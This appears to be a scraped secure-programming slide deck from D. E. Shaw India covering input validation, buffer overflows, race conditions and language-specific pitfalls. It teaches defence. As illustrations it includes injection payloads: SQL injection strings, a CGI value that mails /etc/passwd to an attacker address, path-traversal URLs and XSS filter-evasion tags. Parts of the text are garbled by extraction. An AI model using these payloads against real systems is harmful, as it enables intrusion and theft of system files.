Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...
Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...
 
Odoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 EnterpriseOdoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 Enterprise
 
Odoo Development Company in India | Devintelle Consulting Service
Odoo Development Company in India | Devintelle Consulting ServiceOdoo Development Company in India | Devintelle Consulting Service
Odoo Development Company in India | Devintelle Consulting Service
 

Secure Programming

  • 1. D. E. Shaw India Software Private Limited Secure Programming Sandeep Giri Index
  • 2. D. E. Shaw India Software Private Limited What Is Security?  Confidentiality (also known as secrecy), meaning that the computing system's assets can be read only by authorized parties.  Integrity, meaning that the assets can only be modified or deleted by authorized parties in authorized ways.  Availability, meaning that the assets are accessible to the authorized parties in a timely manner (as determined by the systems requirements). The failure to meet this goal is called a denial of service. Index
  • 3. D. E. Shaw India Software Private Limited Why Secure Programming? Note: suid (set user ID) is a program which while running behaves as the owner of the particular file not as the one who runs it. setgid: set group ID Index
  • 4. D. E. Shaw India Software Private Limited What needs to be secured?  Viewers of remote data – For e.g. Browser,Applets,Email clients,Word processors  Application programs used by the administrator  Servers – Local (daemons like syslog) – Network-accessible servers (network daemons ftpd,telnetd,apache,sendmail). – Web-based applications(Sp. Case of above)  Setuid/setgid programs (like passwd). Index
  • 5. D. E. Shaw India Software Private Limited HOW??? Index
  • 6. D. E. Shaw India Software Private Limited The Key is: “Paranoia is a Virtue” Solutions follow…. Index
  • 7. D. E. Shaw India Software Private Limited Index  Validation of Inputs – Examples – Different types of inputs  Buffer Overflows  Structure Program Internals  Sending Information Back Judiciously  Language-Specific Issues – C/C++ – Perl – Shell Scripting Languages Index
  • 8. D. E. Shaw India Software Private Limited Validate All Input Properly Check the input for valid data Example: SQLQUERY= “s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘”+ us e rid + ”’ a nd p a s s wo rd = ‘”+ p a s s wd + ”’”; Input: “a d m in’” will c o nv e rt the q ue ry into “s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’’ a nd p a s s wo rd = ‘a ny thing ” (N te ‘’ a fte r a d m in) o “a d m in’--” will c o nv e rt the q ue ry into “s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’--’ a nd p a s s wo rd = ‘a ny thing ” (N te e ve ry thing a fte r ‘--’ is c o m m e nte d ) o Index
  • 9. D. E. Shaw India Software Private Limited Validate All Input-> Another Example: Code: system("mail " . $form_data{"email"}); Exploit/Loophole: Input: http://server/script.cgi?email= me@mydomain.com;mail hacker@hack.net</etc/passwd" This will mail him a copy of /etc/passwd. Index
  • 10. D. E. Shaw India Software Private Limited Validate All Input-> Solutions/Suggestions:  Determine what is legal and reject anything that does not match that definition but not the reverse. Following pattern for input may be enough: [A-Za-z][A-Za-z0-9_,+@-.=]* or ^[A-Za-z]+(_[A-Za-z]+)? or (.[A-Z]+(-[A-Z0-9]+)*)? or (@[A-Za-z0-9]+(=[A-Za-z0-9-]+) or (,[A-Za-z0-9]+(=[A-Za-z0-9-]+))*)?$  When accepting cookie values, check if the domain value for any cookie you're using is the expected one.  While parsing input, temporarily drop all privileges, or even create separate processes Index
  • 11. D. E. Shaw India Software Private Limited Validate All Input-> Different Types Of User Input  Environment variables Input may be in the form of environment variables (e.g. PATH,IFS etc.) inherited from parent process Example Code: Sy s te m (“d a te ”); Exploit: Se t PA to the c urre nt d ire c to ry a nd m a ke a TH tro ja ne d d a te c o m m a nd . N w , y o ur d a te c o m m a nd o will be e x e c ute d with p a re nts p rivile g e s . Index
  • 12. D. E. Shaw India Software Private Limited Validate All Input->types->environment variables->  Yet Another Example I - (Internal field separator, used to separate FS the command line arguments.) Code: Sy s te m (“/us r/bin/d a te ”); Exploit/loophole: se t IFS= ‘/’; Now create a Trojaned program with name usr and set PATH to current directory.Your ‘usr’ will be executed instead of date because this command will be interpreted as $ us r bin d a te Index
  • 13. D. E. Shaw India Software Private Limited Validate All Input->types->environment variables-> Solution: Reset all the variables. For example, set IFS = ‘nt’ Always extract and erase environment variables and set these according to your needs. Index
  • 14. D. E. Shaw India Software Private Limited Validate All Input->types->  File Names Common mistakes: ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../ */../*/../*/../* http://www.yourserver.com/cgi-bin/script? config-file=../../../etc/passwd&user=guest you shouldn't support ``wild-cards'', that is, expanding filenames using ``*'', ``?'', ``['' (matching ``]''), and possibly ``{'' (matching ``}'').  File Contents If a program takes directions from a file, it must not Index
  • 15. D. E. Shaw India Software Private Limited Validate All Input->types->  Writing data to the file When it is must to write the data from cgi script (for example picture uploading script), the file should not be in a executable/accessible directory. Index
  • 16. D. E. Shaw India Software Private Limited Validate All Input->types->  Web-Based Inputs (Especially CGI Scripts) – Cross site scripting Displaying the formatted text received from another user may trick JavaScript(or Other compts) and may result in befooling the current user or crashing the browser. Such vulnerabilities existed in most of the online systems like: Yahoo,google, hotmail,indiatimes.. Quick Fix: delete_every <script>….</script> But it has got some problems… Index
  • 17. D. E. Shaw India Software Private Limited Validate All Input->types->Web based IO-> What If input includes tags like this: – <sc<script></script>ript>evil-code()</sc<script></script>ript> – <b onmousover="...">go here</b> – <img [line_break] src="javascript:alert(document.location)"> – <a href="javas&#99;ript&#35;[code]"> – <div onmouseover="[code]"> – <img src="javascript:[code]"> – <img dynsrc="javascript:[code]"> [IE] – <input type="image" dynsrc="javascript:[code]"> [IE] – <bgsound src="javascript:[code]"> [IE] List goes on … Index
  • 18. D. E. Shaw India Software Private Limited Validate All Input->types->Web based IO-> Solutions: – Only allow a few tags,if it is must.like: <p> ,<b> , <i>, <em>, <strong>, <pre> , <br> – while displaying html as such convert ‘<‘ to &lt; , > to &gt;, & to &amp; – One may use his own type of tags Ex m p le [im g ]. . [/im g ] (a s us e d by Ya BB) – Accept only legal characters: $summary =~ tr/A-Za-z0-9 .://dc; – Remove Special characters $s =~ s/[<>"'%;()&+]//g; Can use PHP code to filter HTML posted by Konstantin Riabitsev: Index http://www.mricon.com/html/phpfilter.html
  • 19. D. E. Shaw India Software Private Limited Buffer Overflow – A Big Deal A buffer overflow occurs when you write a set of values into a fixed length buffer and write at least one value outside that buffer's boundaries (usually past its end). A buffer overflow can occur when reading input from the user into a buffer, but it can also occur during other kinds of processing in a program. The Problem: Sample Execution $ p ro g a bc int main(int argc,char **argv) { abc char buffer[100]; $ p ro g < v e ry lo ng s tring > if(argc>1) core dumped (segmentation fault) strcpy(buffer,argv[1]); $ p ro g “% s a nd e e p ” printf(buffer) <garbage>andeep } (format string problem) Index
  • 20. D. E. Shaw India Software Private Limited Buffer Overflow-> Exploit-Technique ( an overview ) EIP – Before a function is called, the address of returning location is stored in EIP Index
  • 21. D. E. Shaw India Software Private Limited Buffer Overflow-> Suggestions: Instead Of Use Gets Fgets Strcpy strncpy*,with NULLtermination Strlcpy : a bit inefficient, fills with zeros Strcat strncat*,with NULL termination Strlcat : a bit inefficient Printf With proper formatting e.g.: printf(“%s”,str); not printf(str); Sprintf with length maximizing formatting. E.g.: Sprintf(buf,“%2s”,str); Scanf with length maximizing formatting eg: scanf(“%5s”,str), sscanf with length maximizing formatting Index
  • 22. D. E. Shaw India Software Private Limited Buffer Overflow-> Overflows can be avoided by using:  Code Checking Utilities: – flawfinder,RATS,ITS4, Slint – Using Memory leak checking utilities like Memleak for VC++ available at http://www.codeproject.com/useritems/leakfinder.asp  Libraries like – Libmib, C++ Std :: string, libsafe,glibc  Compilers like :Stack Guard,Stack Shield which check if return address is changed.  OS like : Immunix OS ,Bastile Linux Linux Variants,with low level security against bof Index Other languages like Java,Perl,PHP 
  • 23. D. E. Shaw India Software Private Limited Structure Program Internals  Software Engineering Principles – Economy of mechanism/Simplicity. KISS - keep it simple, stupid – Open design. Do not depend on attacker’s ignorance. – Complete mediation. Every access attempt must be checked – Fail-safe defaults The default should be denial of service – Separation of privilege. Defeating one protection system shouldn't enable complete access. Index
  • 24. D. E. Shaw India Software Private Limited Structure Program Internals-> Software Engineering Principles-> – Least common mechanism. Minimize use of shared mechanisms (e.g. use of the /tmp or /var/tmp directories). – Psychological acceptability / Easy to use  Users will routinely and automatically use the protection mechanisms correctly.  Mistakes will be reduced if the security mechanisms closely match the user's mental image of his or her protection Index
  • 25. D. E. Shaw India Software Private Limited Structure Program Internals->  Secure the Interface  Separate Data and Control  Minimize Privileges Prevents problems due to accident, error, or attack. Minimize: – Granted privileges – The Time the Privilege Can Be Used & is active – The Modules Granted the Privilege – the Accessible Data – the Resources Available Index
  • 26. D. E. Shaw India Software Private Limited Structure Program Internals->  Minimize the Functionality of a Component  Avoid Creating Setuid/Setgid Scripts  Configure Safely and Use Safe Defaults  Load Initialization Values Safely  Fail Safe  Avoid Race Conditions/ Sharing violation Anomalous behavior due to unexpected critical dependence on the relative timing of events Index
  • 27. D. E. Shaw India Software Private Limited Structure Program Internals-> Sharing violation(due to racing)->  A crude example: Password Conflict.  Another Example: check(file);//checks if file has proper permissions wait(sometime); write(file,data); //writes data to file What if file got changed in between checking and modifying data? This generally happens with temporary file creation.  Solution: – Use locks on files – Use open() function of C – Create random name file/open using O_CREATE|O_EXCL Index – Use tmpfile()
  • 28. D. E. Shaw India Software Private Limited Send Information Back Judiciously  Minimize Feedback  Don't Include Comments  Control Formatting (``Cross Site Scripting'')  Prevent Include/Configuration File Access <Files *.inc> Order allow,deny Deny from all </Files> Index
  • 29. D. E. Shaw India Software Private Limited Language-Specific Issues C/C++  Biggest security problem with C and C++ programs is buffer overflow;  C has the additional weakness of not supporting exceptions,  Manual memory management(malloc,alloc,free,new delete)  Be as strict as you reasonably can in declaring types. use ``enum'' to define enumerated values (and not just a ``char'' or ``int'' with special values).  Turn On Warnings to check overflows gcc -Wall -Wpointer-arith -Wstrict-prototypes -O2 You might want ``-W -pedantic'' too. Index
  • 30. D. E. Shaw India Software Private Limited Language-Specific Issues->C/C++ ->  Detect format string bugs by including following header file /* in header.h */ #ifndef __GNUC__ # define __attribute__(x) /*nothing*/ #endif extern void logprintf(const char *format, ...) __attribute__((format(printf,1,2))); extern void logprintva(const char *format, va_list args) __attribute__((format(printf,1,0))); Index
  • 31. D. E. Shaw India Software Private Limited Language-Specific Issues-> Perl  read man page perlsec(1) first to learn taint mode (-T)  open, glob, and back tick functions call the shell to expand filename  perl open() function comes with, frankly, ``way too much magic'‘ Example: //open a file s which is specified by user. O p e n(HA DLE, s ); N Loophole/exploit: s=“|s o m e c o m m a nd ” Solution: use sysopen() instead.  turn on the warning flag (-w)  It is recommended to use sudo instead of setuid version of Perl, which is default in some cases. Index In regex, switch /e – expression evaluation- is dangerous
  • 32. D. E. Shaw India Software Private Limited Language-Specific Issues-> Shell Scripting Languages  Never use as setuid/setgid  On some systems,Fundamentally insecure because prone to race condition Index
  • 33. D. E. Shaw India Software Private Limited I would again say: “The Key - ” Paranoia is a Virtue Index
  • 34. D. E. Shaw India Software Private Limited Questions? Index
  • 35. D. E. Shaw India Software Private Limited Thanks Index

Hinweis der Redaktion

  1. Include ln –s /etc/passwd tmp technique in race condition..tmp file creation.. SSI.. Format string bugs. To be removed from “ send.. ” to new topic
  2. Can be removed
  3. remove
  4. remove
  5. remove
  6. Remove till avoid race conditions
  7. “ Electric Fence and Val grind ” is tool which solves the problem use ``enum&apos;&apos; to define enumerated values (and not just a ``char&apos;&apos; or ``int&apos;&apos; with special values).